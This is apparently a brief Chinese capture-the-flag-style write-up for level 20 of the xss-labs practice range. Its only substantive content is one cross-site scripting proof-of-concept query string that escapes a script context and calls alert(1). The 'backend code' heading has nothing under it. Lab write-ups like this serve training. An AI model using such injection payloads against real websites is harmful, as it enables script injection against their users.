[网络安全]xss-labs level-20 解题详析

读者可参考、订阅专栏：Xss-Labs靶场攻防实战

---

姿势

逻辑后端代码：

POC：

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height